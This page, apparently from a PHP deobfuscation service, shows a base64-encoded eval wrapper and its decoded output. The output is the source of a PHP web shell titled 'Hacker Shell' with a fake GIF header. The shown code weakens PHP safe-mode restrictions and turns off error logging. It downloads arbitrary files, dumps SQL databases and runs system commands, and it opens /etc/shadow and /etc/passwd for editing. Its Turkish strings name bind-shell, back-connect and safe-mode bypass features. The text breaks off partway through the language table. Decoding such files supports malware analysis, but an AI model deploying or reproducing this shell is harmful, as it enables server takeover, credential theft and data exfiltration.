Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("R0lGODk7YQ0KIDw/DQogZXJyb3JfcmVwb3J0aW5nKDApOw0KIC8vaGFja2V..

Decoded Output download

?>b'GIF89;a
 <?
 error_reporting(0);
 //hacker
 //hacker
$language=\'tr\';
$auth = 0;
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
;echo \'\';
if((!@function_exists(\'ini_get\')) ||(@ini_get(\'open_basedir\')!=NULL) ||(@ini_get(\'safe_mode_include_dir\')!=NULL)){$open_basedir=1;}else{$open_basedir=0;};
define("starttime",@getmicrotime());
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
$safe_mode = @ini_get(\'safe_mode\');
$version = \'1.43<br>&nbsp;&nbsp;&nbsp;edited <br/>\';
if(@version_compare(@phpversion(),\'4.1.0\') == -1)
{
$_POST   = &$HTTP_POST_VARS;
$_GET    = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER[\'PHP_AUTH_USER\']) ||md5($_SERVER[\'PHP_AUTH_USER\'])!==$name ||md5($_SERVER[\'PHP_AUTH_PW\'])!==$pass)
{
header(\'WWW-Authenticate: Basic realm="HELLO!"\');
header(\'HTTP/1.0 401 Unauthorized\');
exit("<b>Access Denied</b>");
}
}
$head = \'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Hacker Shell</title>
<STYLE>

tr {

BORDER-RIGHT:  black 1px solid;

BORDER-TOP:    black 1px solid;

BORDER-LEFT:   black 1px solid;

BORDER-BOTTOM: black 1px solid;

BORDER-COLOR: black;

color: silver;

}

td {

BORDER-RIGHT:  black 1px solid;

BORDER-TOP:    black 1px solid;

BORDER-LEFT:   black 1px solid;

BORDER-BOTTOM: black 1px solid;

BORDER-COLOR: black;

background-color:black;

color: white;

}



.table1 {

BORDER: 0px;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: black;

color: white;

}

.td1 {

BORDER: 0px;

BORDER-COLOR: #333333;

font: 7pt Verdana;

BACKGROUND-COLOR: black;

color: green;

}

.tr1 {

BORDER: 0px;

BORDER-COLOR: #333333;

color: #50AA20;

}

table {

BORDER:  #eeeeee 1px outset;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: #131313;

color: #50AA20;

}

input {

border			: solid 1px;

border-color		: #2D2D2D #252525 #252525 #252525;

BACKGROUND-COLOR: black;

font: 8pt Verdana;

color: red;

}

select {

BORDER-RIGHT:  #ffffff 1px solid;

BORDER-TOP:    #999999 1px solid;

BORDER-LEFT:   #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: #131313;

font: 8pt Verdana;

color: white;;

}

submit {

BORDER:  buttonhighlight 2px outset;

BACKGROUND-COLOR: #131313;

width: 30%;

color: white;

}

textarea {

BORDER-RIGHT:  #ffffff 1px solid;

BORDER-TOP:    #999999 1px solid;

BORDER-LEFT:   #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: black;

font: Fixedsys bold;

color: silver;

}

BODY {

SCROLLBAR-ARROW-COLOR: #444444;

SCROLLBAR-BASE-COLOR: #444444;

margin: 1px;

color: #50AA20;

background-color: #131313;

}

.main {

margin			: -287px 0px 0px -490px;

border			: #000000 solid 1px;

BORDER-COLOR: #333333;

}

.tt {

background-color: black;

}

A:link {COLOR:red; TEXT-DECORATION: none}

A:visited { COLOR:red; TEXT-DECORATION: none}

A:active {COLOR:red; TEXT-DECORATION: none}

A:hover {color:blue;TEXT-DECORATION: none}

</STYLE>

<script language=\\'javascript\\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \\'none\\';
  document.cookie=id+\\'=0;\\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \\'block\\';
  document.cookie=id+\\'=1;\\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \\'none\\')
    show_div(id);
  else
    hide_div(id);
}


</script>\';
class zipfile
{
var $datasec      = array();
var $ctrl_dir     = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset   = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
if ($timearray[\'year\'] <1980) {
$timearray[\'year\']    = 1980;
$timearray[\'mon\']     = 1;
$timearray[\'mday\']    = 1;
$timearray[\'hours\']   = 0;
$timearray[\'minutes\'] = 0;
$timearray[\'seconds\'] = 0;
}
return (($timearray[\'year\'] -1980) <<25) |($timearray[\'mon\'] <<21) |($timearray[\'mday\'] <<16) |
($timearray[\'hours\'] <<11) |($timearray[\'minutes\'] <<5) |($timearray[\'seconds\'] >>1);
}
function addFile($data,$name,$time = 0)
{
$name     = str_replace(\'\\\',\'/\',$name);
$dtime    = dechex($this->unix2DosTime($time));
$hexdtime = \'\x\'.$dtime[6] .$dtime[7]
.\'\x\'.$dtime[4] .$dtime[5]
.\'\x\'.$dtime[2] .$dtime[3]
.\'\x\'.$dtime[0] .$dtime[1];
eval(\'$hexdtime = "\'.$hexdtime .\'";\');
$fr   = "\x50\x4b\x03\x04";
$fr   .= "\x14\x00";
$fr   .= "\x00\x00";
$fr   .= "\x08\x00";
$fr   .= $hexdtime;
$unc_len = strlen($data);
$crc     = crc32($data);
$zdata   = gzcompress($data);
$zdata   = substr(substr($zdata,0,strlen($zdata) -4),2);
$c_len   = strlen($zdata);
$fr      .= pack(\'V\',$crc);
$fr      .= pack(\'V\',$c_len);
$fr      .= pack(\'V\',$unc_len);
$fr      .= pack(\'v\',strlen($name));
$fr      .= pack(\'v\',0);
$fr      .= $name;
$fr .= $zdata;
$this ->datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack(\'V\',$crc);
$cdrec .= pack(\'V\',$c_len);
$cdrec .= pack(\'V\',$unc_len);
$cdrec .= pack(\'v\',strlen($name) );
$cdrec .= pack(\'v\',0 );
$cdrec .= pack(\'v\',0 );
$cdrec .= pack(\'v\',0 );
$cdrec .= pack(\'v\',0 );
$cdrec .= pack(\'V\',32 );
$cdrec .= pack(\'V\',$this ->old_offset );
$this ->old_offset += strlen($fr);
$cdrec .= $name;
$this ->ctrl_dir[] = $cdrec;
}
function file()
{
$data    = implode(\'\',$this ->datasec);
$ctrldir = implode(\'\',$this ->ctrl_dir);
return
$data .
$ctrldir .
$this ->eof_ctrl_dir .
pack(\'v\',sizeof($this ->ctrl_dir)) .
pack(\'v\',sizeof($this ->ctrl_dir)) .
pack(\'V\',strlen($ctrldir)) .
pack(\'V\',strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == \'bzip\'&&@function_exists(\'bzcompress\')) 
{
$filename  .= \'.bz2\';
$mime_type = \'application/x-bzip2\';
$filedump = bzcompress($filedump);
}
else if ($compress == \'gzip\'&&@function_exists(\'gzencode\')) 
{
$filename  .= \'.gz\';
$content_encoding = \'x-gzip\';
$mime_type = \'application/x-gzip\';
$filedump = gzencode($filedump);
}
else if ($compress == \'zip\'&&@function_exists(\'gzcompress\')) 
{
$filename .= \'.zip\';
$mime_type = \'application/zip\';
$zipfile = new zipfile();
$zipfile ->addFile($filedump,substr($filename,0,-4));
$filedump = $zipfile ->file();
}
else 
{
$mime_type = \'application/octet-stream\';
}
}
function moreread($temp){
global $lang,$language;
$str=\'\';
if(@function_exists(\'fopen\')&&@function_exists(\'feof\')&&@function_exists(\'fgets\')&&@function_exists(\'fclose\')){
$ffile = @fopen($temp,"r");
while(!@feof($ffile)){$str .= @fgets($ffile);}
fclose($ffile);
}elseif(@function_exists(\'fopen\')&&@function_exists(\'fread\')&&@function_exists(\'fclose\')&&@function_exists(\'filesize\')){
$ffile = @fopen($temp,"r");
$str = @fread($ffile,@filesize($temp));
@fclose($ffile);
}elseif(@function_exists(\'file\')){
$ffiles = @file ($temp);
foreach ($ffiles as $ffile) {$str .= $ffile;}
}elseif(@function_exists(\'file_get_contents\')){
$str = @file_get_contents($temp);
}elseif(@function_exists(\'readfile\')){
$str = @readfile($temp);
}else{echo $lang[$language.\'_text56\'];}
return $str;
}
function readzlib($filename,$temp=\'\'){
global $lang,$language;
$str=\'\';
if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");};
if(@copy("compress.zlib://".$filename,$temp)) {
$str = moreread($temp);
}else echo $lang[$language.\'_text119\'];
@unlink($temp);
return $str;
}
function mailattach($to,$from,$subj,$attach)
{
$headers  = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach[\'type\'];
$headers .= "; name=\"".$attach[\'name\']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach[\'content\']))."\r\n";
if(mail($to,$subj,"",$headers)) {return 1;}
return 0;
}
class my_sql
{
var $host = \'localhost\';
var $port = \'\';
var $user = \'\';
var $pass = \'\';
var $base = \'\';
var $db   = \'\';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case \'MySQL\': 
if(empty($this->port)) {$this->port = \'3306\';}
if(!@function_exists(\'mysql_connect\')) return 0;
$this->connection = @mysql_connect($this->host.\':\'.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case \'MSSQL\':
if(empty($this->port)) {$this->port = \'1433\';}
if(!@function_exists(\'mssql_connect\')) return 0;
$this->connection = @mssql_connect($this->host.\',\'.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case \'PostgreSQL\':
if(empty($this->port)) {$this->port = \'5432\';}
$str = "host=\'".$this->host."\' port=\'".$this->port."\' user=\'".$this->user."\' password=\'".$this->pass."\' dbname=\'".$this->base."\'";
if(!@function_exists(\'pg_connect\')) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case \'Oracle\':
if(!@function_exists(\'ocilogon\')) return 0;
$this->connection = @ocilogon($this->user,$this->pass,$this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case \'MySQL\':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case \'MSSQL\':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case \'PostgreSQL\':
return 1;
break;
case \'Oracle\':
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error=\'\';
switch($this->db)
{
case \'MySQL\': 
if(false===($this->res=@mysql_query(\'/*\'.chr(0).\'*/\'.$query,$this->connection))) 
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) {return 1;}
return 2;
break;
case \'MSSQL\':
if(false===($this->res=@mssql_query($query,$this->connection))) 
{
$this->error = \'Query error\';
return 0;
}
else if(@mssql_num_rows($this->res) >0) {return 1;}
return 2;
break;
case \'PostgreSQL\':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) >0) {return 1;}
return 2;
break;
case \'Oracle\':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = \'Query parse error\';
}
else 
{
if(@ociexecute($this->res)) 
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error[\'message\'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case \'MySQL\':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
case \'MSSQL\':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;};
break;
case \'PostgreSQL\':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
case \'Oracle\':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = \'##\';
$this->dump[1] = \'## --------------------------------------- \';
$this->dump[2] = \'##  Created: \'.date ("d/m/Y H:i:s");
$this->dump[3] = \'## Database: \'.$this->base;
$this->dump[4] = \'##    Table: \'.$table;
$this->dump[5] = \'## --------------------------------------- \';
switch($this->db)
{
case \'MySQL\':
$this->dump[0] = \'## MySQL dump\';
if($this->query(\'/*\'.chr(0).\'*/ SHOW CREATE TABLE `\'.$table.\'`\')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0][\'Create Table\'];
$this->dump[] = \'## --------------------------------------- \';
if($this->query(\'/*\'.chr(0).\'*/ SELECT * FROM `\'.$table.\'`\')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = \'INSERT INTO `\'.$table.\'` (`\'.@implode("`, `",$this->columns).\'`) VALUES (\\'\'.@implode("\', \'",$this->rows[$i]).\'\\');\';
}
break;
case \'MSSQL\':
$this->dump[0] = \'## MSSQL dump\';
if($this->query(\'SELECT * FROM \'.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = \'INSERT INTO \'.$table.\' (\'.@implode(", ",$this->columns).\') VALUES (\\'\'.@implode("\', \'",$this->rows[$i]).\'\\');\';
}
break;
case \'PostgreSQL\':
$this->dump[0] = \'## PostgreSQL dump\';
if($this->query(\'SELECT * FROM \'.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = \'INSERT INTO \'.$table.\' (\'.@implode(", ",$this->columns).\') VALUES (\\'\'.@implode("\', \'",$this->rows[$i]).\'\\');\';
}
break;
case \'Oracle\':
$this->dump[0] = \'## ORACLE dump\';
$this->dump[]  = \'## under construction\';
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case \'MySQL\': 
@mysql_close($this->connection);
break;
case \'MSSQL\':
@mssql_close($this->connection);
break;
case \'PostgreSQL\':
@pg_close($this->connection);
break;
case \'Oracle\':
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case \'MySQL\':
return @mysql_affected_rows($this->res);
break;
case \'MSSQL\':
return @mssql_affected_rows($this->res);
break;
case \'PostgreSQL\':
return @pg_affected_rows($this->res);
break;
case \'Oracle\':
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="download_file"&&!empty($_POST[\'d_name\']))
{
if($file=@fopen($_POST[\'d_name\'],"r")){$filedump = @fread($file,@filesize($_POST[\'d_name\']));@fclose($file);}
else if ($file=readzlib($_POST[\'d_name\'])) {$filedump = $file;}else {err(1,$_POST[\'d_name\']);$_POST[\'cmd\']="";}
if(isset($_POST[\'cmd\'])) 
{
@ob_clean();
$filename = @basename($_POST[\'d_name\']);
$content_encoding=$mime_type=\'\';
compress($filename,$filedump,$_POST[\'compress\']);
if (!empty($content_encoding)) {header(\'Content-Encoding: \'.$content_encoding);}
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET[\'phpinfo\'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";die();}
if (!empty($_POST[\'cmd\']) &&$_POST[\'cmd\']=="db_query")
{
echo $head;
$sql = new my_sql();
$sql->db   = $_POST[\'db\'];
$sql->host = $_POST[\'db_server\'];
$sql->port = $_POST[\'db_port\'];
$sql->user = $_POST[\'mysql_l\'];
$sql->pass = $_POST[\'mysql_p\'];
$sql->base = $_POST[\'mysql_db\'];
$querys = @explode(\';\',$_POST[\'db_query\']);
echo \'<body bgcolor=#000000>\';
if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can\'t connect to SQL server</b></font></div>";
else 
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can\'t select database</b></font></div>";
else
{
foreach($querys as $num=>$query) 
{
if(strlen($query)>5)
{
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
switch($sql->query($query))
{
case \'0\':
echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
break;
case \'1\': 
if($sql->get_result())
{
echo "<table width=100%>";
foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
$keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;",$sql->columns);
echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
echo \'<tr><td><font face=Verdana size=-2>&nbsp;\'.$values.\'&nbsp;</font></td></tr>\';
}
echo "</table>";
}
break;
case \'2\':
$ar = $sql->affected_rows()?($sql->affected_rows()):(\'0\');
echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
break;
}
}
}
}
}
echo "<br><form name=form method=POST>";
echo in(\'hidden\',\'db\',0,$_POST[\'db\']);
echo in(\'hidden\',\'db_server\',0,$_POST[\'db_server\']);
echo in(\'hidden\',\'db_port\',0,$_POST[\'db_port\']);
echo in(\'hidden\',\'mysql_l\',0,$_POST[\'mysql_l\']);
echo in(\'hidden\',\'mysql_p\',0,$_POST[\'mysql_p\']);
echo in(\'hidden\',\'mysql_db\',0,$_POST[\'mysql_db\']);
echo in(\'hidden\',\'cmd\',0,\'db_query\');
echo "<div align=center>";
echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST[\'db_query\'])?($_POST[\'db_query\']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";die();
}
if(isset($_GET[\'delete\']))
{
@unlink(__FILE__);
}
if(isset($_GET[\'tmp\']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
@unlink("/tmp/prxpl");
@unlink("/tmp/grep.txt");
}
if(isset($_GET[\'phpini\']))
{
echo $head;
function U_value($value)
{
if ($value == \'\') return \'<i>no value</i>\';
if (@is_bool($value)) return $value ?\'TRUE\': \'FALSE\';
if ($value === null) return \'NULL\';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str),100,\'<wbr />\',true);
return @preg_replace(\'!(&[^;]*)<wbr />([^;]*;)!\',\'$1$2<wbr />\',$str);
}
if (@function_exists(\'ini_get_all\'))
{
$r = \'\';
echo \'<table width=100%>\',\'<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>\';
foreach (@ini_get_all() as $key=>$value)
{
$r .= \'<tr><td>\'.ws(3).\'<font face=Verdana size=-2><b>\'.$key.\'</b></font></td><td><font face=Verdana size=-2><div align=center><b>\'.U_value($value[\'local_value\']).\'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>\'.U_value($value[\'global_value\']).\'</b></div></font></td></tr>\';
}
echo $r;
echo \'</table>\';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET[\'cpu\']))
{
echo $head;
echo \'<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>\';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){$info[1]="---";}
$r .= \'<tr><td>\'.ws(3).\'<font face=Verdana size=-2><b>\'.trim($info[0]).\'</b></font></td><td><font face=Verdana size=-2><div align=center><b>\'.trim($info[1]).\'</b></div></font></td></tr>\';
}
echo $r;
}
else
{
echo \'<tr><td>\'.ws(3).\'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>\';
}
echo \'</table>\';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET[\'mem\']))
{
echo $head;
echo \'<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>\';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){$info[1]="---";}
$r .= \'<tr><td>\'.ws(3).\'<font face=Verdana size=-2><b>\'.trim($info[0]).\'</b></font></td><td><font face=Verdana size=-2><div align=center><b>\'.trim($info[1]).\'</b></div></font></td></tr>\';
}
echo $r;
}
else
{
echo \'<tr><td>\'.ws(3).\'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>\';
}
echo \'</table>\';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">green</a> ]</b></font></div>";
die();
}
if(isset($_GET[\'dmesg(8)\']))
{$_POST[\'cmd\'] = \'dmesg(8)\';}
if(isset($_GET[\'free\']))
{$_POST[\'cmd\'] = \'free\';}
if(isset($_GET[\'vmstat\']))
{$_POST[\'cmd\'] = \'vmstat\';}
if(isset($_GET[\'lspci\']))
{$_POST[\'cmd\'] = \'lspci\';}
if(isset($_GET[\'lsdev\']))
{$_POST[\'cmd\'] = \'lsdev\';}
if(isset($_GET[\'procinfo\']))
{$_POST[\'cmd\']=\'cat /proc/cpuinfo\';}
if(isset($_GET[\'version\']))
{$_POST[\'cmd\']=\'cat /proc/version\';}
if(isset($_GET[\'interrupts\']))
{$_POST[\'cmd\']=\'cat /proc/interrupts\';}
if(isset($_GET[\'realise1\']))
{$_POST[\'cmd\'] = \'cat /etc/*realise\';}
if(isset($_GET[\'service\']))
{$_POST[\'cmd\'] = \'service --status-all\';}
if(isset($_GET[\'ifconfig\']))
{$_POST[\'cmd\'] = \'ifconfig\';}
if(isset($_GET[\'w\']))
{$_POST[\'cmd\'] = \'w\';}
if(isset($_GET[\'who\']))
{$_POST[\'cmd\'] = \'who\';}
if(isset($_GET[\'uptime\']))
{$_POST[\'cmd\'] = \'uptime\';}
if(isset($_GET[\'last\']))
{$_POST[\'cmd\'] = \'last -n 10\';}
if(isset($_GET[\'psaux\']))
{$_POST[\'cmd\'] = \'ps -aux\';}
if(isset($_GET[\'netstat\']))
{$_POST[\'cmd\'] = \'netstat -a\';}
if(isset($_GET[\'lsattr\']))
{$_POST[\'cmd\'] = \'lsattr -va\';}
if(isset($_GET[\'syslog\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/syslog.conf\';}
if(isset($_GET[\'fstab\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/fstab\';}
if(isset($_GET[\'fdisk\']))
{$_POST[\'cmd\'] = \'fdisk -l\';}
if(isset($_GET[\'df\']))
{$_POST[\'cmd\'] = \'df -h\';}
if(isset($_GET[\'realise2\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/issue.net\';}
if(isset($_GET[\'hosts\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/hosts\';}
if(isset($_GET[\'resolv\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/resolv.conf\';}
if(isset($_GET[\'systeminfo\']))
{$_POST[\'cmd\'] = \'systeminfo\';}
if(isset($_GET[\'shadow\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/shadow\';}
if(isset($_GET[\'passwd\']))
{$_POST[\'cmd\']=\'edit_file\';$_POST[\'e_name\'] = \'/etc/passwd\';}
$lang=array(
\'tr_text1\'=>\'Komut Uygula\',
\'tr_text2\'=>\'Server uzerinde komut calistir \',
\'tr_text3\'=>\'Komut istemi \',
\'tr_text4\'=>\'Calisma Dizini \',
\'tr_text5\'=>\'Servere Dosya Upload Et\',
\'tr_text6\'=>\'Yerel Dosya \',
\'tr_text7\'=>\'Dizin Veya Dosya Bul \',
\'tr_text8\'=>\'Sec\',
\'tr_butt1\'=>\'Uygula\',
\'tr_butt2\'=>\'Yukle\',
\'tr_text9\'=>\'Porta baglan /bin/bash\',
\'tr_text10\'=>\'Port\',
\'tr_text11\'=>\'Sifre Giris\',
\'tr_butt3\'=>\'Baglan\',
\'tr_text12\'=>\'Back-Connect\',
\'tr_text13\'=>\'IP\',
\'tr_text14\'=>\'Port\',
\'tr_butt4\'=>\'Baglan\',
\'tr_text15\'=>\'Uzaktan servere dosya yukle\',
\'tr_text16\'=>\'ile\',
\'tr_text17\'=>\'Uzak Dosya\',
\'tr_text18\'=>\'Yerel Dosya\',
\'tr_text19\'=>\'Exploits\',
\'tr_text20\'=>\'Kullan\',
\'tr_text21\'=>\'&nbsp;Yeni ad\',
\'tr_text22\'=>\'datapipe\',
\'tr_text23\'=>\'Yerel Port\',
\'tr_text24\'=>\'Uzak Host\',
\'tr_text25\'=>\'Uzak Port\',
\'tr_text26\'=>\'Kullan\',
\'tr_butt5\'=>\'Iste\',
\'tr_text28\'=>\'Guvenlik Modunda Calis\',
\'tr_text29\'=>\'Giris Yok \',
\'tr_butt6\'=>\'Degistir\',
\'tr_text30\'=>\'Cat file\',
\'tr_butt7\'=>\'Goster\',
\'tr_text31\'=>\'Dosya Bulunamadi\',
\'tr_text32\'=>\'PHP Kod Degerlendir \',
\'tr_text33\'=>\'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)\',
\'tr_butt8\'=>\'Testet\',
\'tr_text34\'=>\'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.\',
\'tr_text35\'=>\'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.\',
\'tr_text36\'=>\'Database[VeriTabani]\',
\'tr_text37\'=>\'Kullanici\',
\'tr_text38\'=>\'Sifre\',
\'tr_text39\'=>\'Tablo\',
\'tr_text40\'=>\'Dump database table[DB Tablosu dok]\',
\'tr_butt9\'=>\'Dump\',
\'tr_text41\'=>\'DB dosyalarini kaydet.[Dump filed]\',
\'tr_text42\'=>\'Dosya Duzenle \',
\'tr_text43\'=>\'Dosya Duzenlemek icin\',
\'tr_butt10\'=>\'Kaydet\',
\'tr_text44\'=>\'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor\',
\'tr_text45\'=>\'Dosya Kaydedildi\',
\'tr_text46\'=>\'PHP info Goster()\',
\'tr_text47\'=>\'Php.ini dosyasinda ki degiskenleri goster\',
\'tr_text48\'=>\'Temp dosylarini sil\',
\'tr_butt11\'=>\'Dosya Duzenle\',
\'tr_text49\'=>\'Server dan bu scripti sil\',
